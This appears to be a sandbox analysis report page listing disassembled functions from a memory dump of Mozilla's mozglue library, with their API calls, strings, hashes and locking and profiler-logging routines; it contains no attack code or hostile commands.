Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3ed06060b659364213876274a287afdab5956058ed56047761a6dc249554f70e
Instruction ID: b3bf56f88296c04a18f5d9e09ee32895035bbe960e667af5f5d7442c650ec561
Opcode Fuzzy Hash: 3ed06060b659364213876274a287afdab5956058ed56047761a6dc249554f70e
Instruction Fuzzy Hash: 29317471B001048BCF04EF6AC8985AEB7F5FBC6324F644655D94697780DB71A806CF9E

Function 6C616590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C60FA80: GetCurrentThreadId.KERNEL32 ref: 6C60FA8D
Part of subcall function 6C60FA80: AcquireSRWLockExclusive.KERNEL32(6C65F448), ref: 6C60FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C616727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6167C8

Part of subcall function 6C624290: memcpy.VCRUNTIME140(?,?,6C632003,6C630AD9,?,6C630AD9,00000000,?,6C630AD9,?,00000004,?,6C631A62,?,6C632003,?), ref: 6C6242C4

Strings

data, xrefs: 6C616593
vel, xrefs: 6C61696C

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vel
API String ID: 511789754-235608994
Opcode ID: e449f2bb597fdb18dfdc715646ff949e7f981c1deb10b6cf73e9d774dcda3241
Instruction ID: e2952a0a1c09cdf61be258c86701e719cc1201f4f273b862ec1979ac7733a104
Opcode Fuzzy Hash: e449f2bb597fdb18dfdc715646ff949e7f981c1deb10b6cf73e9d774dcda3241
Instruction Fuzzy Hash: E4D1BF75A083408BD724DF29C840B9BB7E5EFC5308F10892DD58987B91EB71E809CB5A

Function 6C60D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5DEB57,?,?,?,?,?,?,?,?,?), ref: 6C60D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5DEB57,?), ref: 6C60D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5DEB57,?), ref: 6C60D673
free.MOZGLUE(?), ref: 6C60D888

Strings

|Enabled, xrefs: 6C60D81E
W]l, xrefs: 6C60D5D9, 6C60D63F

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W]l$|Enabled
API String ID: 4142949111-2942830398
Opcode ID: 0069ee711264cc39f642ba5d88742f9ff891cd9de472701a5711e8be2f3512a3
Instruction ID: 99872a2bbca111863dc3e694a459c73417c5726c162ecd48cad435c695c3d7ee
Opcode Fuzzy Hash: 0069ee711264cc39f642ba5d88742f9ff891cd9de472701a5711e8be2f3512a3
Instruction Fuzzy Hash: 90A1F2B0B003049FDB19CF69C9D07AEBBF1AF49318F58815CD885AB741D735A845CBA9

Function 6C5E9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C637ABE), ref: 6C5E985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C637ABE), ref: 6C5E98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C5E9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C5E9918
free.MOZGLUE(?), ref: 6C5E9975

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 9918316d621d2e7cb3985a02db68cc7648a08ffde76e8b90f07e8bf13568a012
Instruction ID: 5d74fef1e58831dbbe22edc8a243a722ea37996919c93a6478d58eccf022da11
Opcode Fuzzy Hash: 9918316d621d2e7cb3985a02db68cc7648a08ffde76e8b90f07e8bf13568a012
Instruction Fuzzy Hash: 02716AB56047058FC725CF28C880996B7F1FF8E324B644AA9D85ACBBA0D771F845CB91

Function 6C5EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C62CC83,?,?,?,?,?,?,?,?,?,6C62BCAE,?,?,6C61DC2C), ref: 6C5EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C62CC83,?,?,?,?,?,?,?,?,?,6C62BCAE,?,?,6C61DC2C), ref: 6C5EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C62CC83,?,?,?,?,?,?,?,?,?,6C62BCAE), ref: 6C5EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C62CC83,?,?,?,?,?,?,?,?,?,6C62BCAE,?,?,6C61DC2C), ref: 6C5EB896

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 5ad196d5ee24cc60e15d32de23f5e71258fcb6b7441e06e3486d0b28a28f41ab
Instruction ID: bad886eff660c7673a1fa4daff29b846398471a50fd34a1932acfb41f640cdd9
Opcode Fuzzy Hash: 5ad196d5ee24cc60e15d32de23f5e71258fcb6b7441e06e3486d0b28a28f41ab
Instruction Fuzzy Hash: C85177357046048FCB25DF5AC884A2ABBF5FF8D319B69895DE98A97351C731E801CB88

Function 6C621D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C621D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C621BE3,?,?,6C621D96,00000000), ref: 6C621D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C621BE3,?,?,6C621D96,00000000), ref: 6C621D4C
GetCurrentThreadId.KERNEL32 ref: 6C621DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C621DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C621DDA

Part of subcall function 6C621EF0: GetCurrentThreadId.KERNEL32 ref: 6C621F03
Part of subcall function 6C621EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C621DF2,00000000,00000000), ref: 6C621F0C
Part of subcall function 6C621EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C621F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C621DF4

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 1bff29665ea3e34d96730090efd07c9ad7184695756d00e47904eae99af36cb3
Instruction ID: 32d6001d44c943ab30f3fa0f92ef8f8e4a3e5ca717e45d1ff8b6c4be8af5a4da
Opcode Fuzzy Hash: 1bff29665ea3e34d96730090efd07c9ad7184695756d00e47904eae99af36cb3
Instruction Fuzzy Hash: 2E4179B52047019FCB14CF29C488A56BBF9FB89354F60442DE99A87B41CB35F854CB99

Function 6C6184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6185AC

Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61767F
Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C617693
Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6185B2

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 05925a0a2b44a7a72c5324338e5ef8f315da4f39ba0b73a377da281413da36ce
Instruction ID: 737218160b7d423da58f8143ff0f9a2f3b30ef60a11bf7ece1a09c163b6a3710
Opcode Fuzzy Hash: 05925a0a2b44a7a72c5324338e5ef8f315da4f39ba0b73a377da281413da36ce
Instruction Fuzzy Hash: AA219F742046019FDB14DF29C888A6AB7B5EF8830DF25482DE55B83B51DB31F948CB59

Function 6C5E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5E1699
VerSetConditionMask.NTDLL ref: 6C5E16CB
VerSetConditionMask.NTDLL ref: 6C5E16D7
VerSetConditionMask.NTDLL ref: 6C5E16DE
VerSetConditionMask.NTDLL ref: 6C5E16E5
VerSetConditionMask.NTDLL ref: 6C5E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5E16F9

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 2e6587165c126d1282ba19e7f97d374db92699eb14890d3bdd02e861d4d3bac1
Instruction ID: af939b88a34692d58bd748ea896bf9a25665b00e23c2f9321e85b4e0a27894f7
Opcode Fuzzy Hash: 2e6587165c126d1282ba19e7f97d374db92699eb14890d3bdd02e861d4d3bac1
Instruction Fuzzy Hash: 3E2102B07402086FEB10AB658C85FBBB3BCEFCA704F508528F6059B680C6799D548AA5

Function 6C61F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C61F598), ref: 6C61F621

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F637
AcquireSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F645
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C61F62A

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 81668e69fff896bd8ec90d8e1c8c532579bd5ea0b36b72eec591fab869533bcd
Instruction ID: 48961d4249ed467fab7fec41923b139f2d1d617ddb26f1ed40591ff4f534c0f9
Opcode Fuzzy Hash: 81668e69fff896bd8ec90d8e1c8c532579bd5ea0b36b72eec591fab869533bcd
Instruction Fuzzy Hash: 09119475305205ABCB04EF5AD5849A57779FF8636DFA40015EA0583F42CB71A821CBAE

Function 6C5E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

LoadLibraryW.KERNEL32(combase.dll,6C5E1C5F), ref: 6C5E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5E20CD
__Init_thread_footer.LIBCMT ref: 6C5E20E1
FreeLibrary.KERNEL32 ref: 6C5E2124

Strings

combase.dll, xrefs: 6C5E20A9
CoInitializeSecurity, xrefs: 6C5E20C7

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 04e440d9fe64a9ec62187696576904cb330d40bd4d7bb3b7d2bace4b26f374ec
Instruction ID: dc923ca2737fe66ccb0b5a03470ef2f0c5903bd8abfa58d84719d6b1bdcd0053
Opcode Fuzzy Hash: 04e440d9fe64a9ec62187696576904cb330d40bd4d7bb3b7d2bace4b26f374ec
Instruction Fuzzy Hash: 81219D7620020AEFDF15DF56DC8CD9A3F76FB4A364F604014FA0592694D3319862CFAA

Function 6C6376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C637705

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C637717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C63778F,00000000,00000000,00000000,00000000), ref: 6C637731
free.MOZGLUE(00000000), ref: 6C637760

Strings

}>al, xrefs: 6C6376C4

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>al
API String ID: 2538299546-2919635026
Opcode ID: 47d92276cb6b907281c839e2faa26fc779f7c386910dc150396f205652c2380f
Instruction ID: 12d048eba9ed0a31123fab2fdc843d28214a5629f637f78c0658985a908a81e7
Opcode Fuzzy Hash: 47d92276cb6b907281c839e2faa26fc779f7c386910dc150396f205652c2380f
Instruction Fuzzy Hash: 1811B6B1904325ABE710AF769D44BAB7EF8EF85354F145429F88897300E771984487E6

Function 6C5E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C5E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C5E1FFD
__Init_thread_footer.LIBCMT ref: 6C5E2011
FreeLibrary.KERNEL32 ref: 6C5E2059

Strings

CoCreateInstance, xrefs: 6C5E1FF7
combase.dll, xrefs: 6C5E1FD9

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 54be9e4db350f101382b7ad3143dd96e029765f60e2f838985282d3c5901e403
Instruction ID: a837ad4e7bcb7f58f246a30488b21e02069999c4ccf80c7171040b640f049b50
Opcode Fuzzy Hash: 54be9e4db350f101382b7ad3143dd96e029765f60e2f838985282d3c5901e403
Instruction Fuzzy Hash: 9C118E75300205AFDF20DF16CC8CE5A3B79FB9A355F604029F94592684D7319821CFAA

Function 6C5E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C60D9F0,00000000), ref: 6C5E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5E0F3C
__Init_thread_footer.LIBCMT ref: 6C5E0F50
FreeLibrary.KERNEL32(?,6C60D9F0,00000000), ref: 6C5E0F86

Strings

CoInitializeEx, xrefs: 6C5E0F36
combase.dll, xrefs: 6C5E0F18

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 607ae5ffccf692160ee9afa1a89dd00b5c1750161b227b04f1cc06efac313929
Instruction ID: de2a9d3b34ae51405991d5045355cab596a8319fc408667cd103403eb44ae45d
Opcode Fuzzy Hash: 607ae5ffccf692160ee9afa1a89dd00b5c1750161b227b04f1cc06efac313929
Instruction Fuzzy Hash: CF110E313052409BDF00CF6ACD88E5637B4FB9B322FA4422AE91693740DB32A411CA6F

Function 6C61F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F561

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F577
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F585
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C61F3A8
[I %d/%d] profiler_resume, xrefs: 6C61F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C61F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C61F56A

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

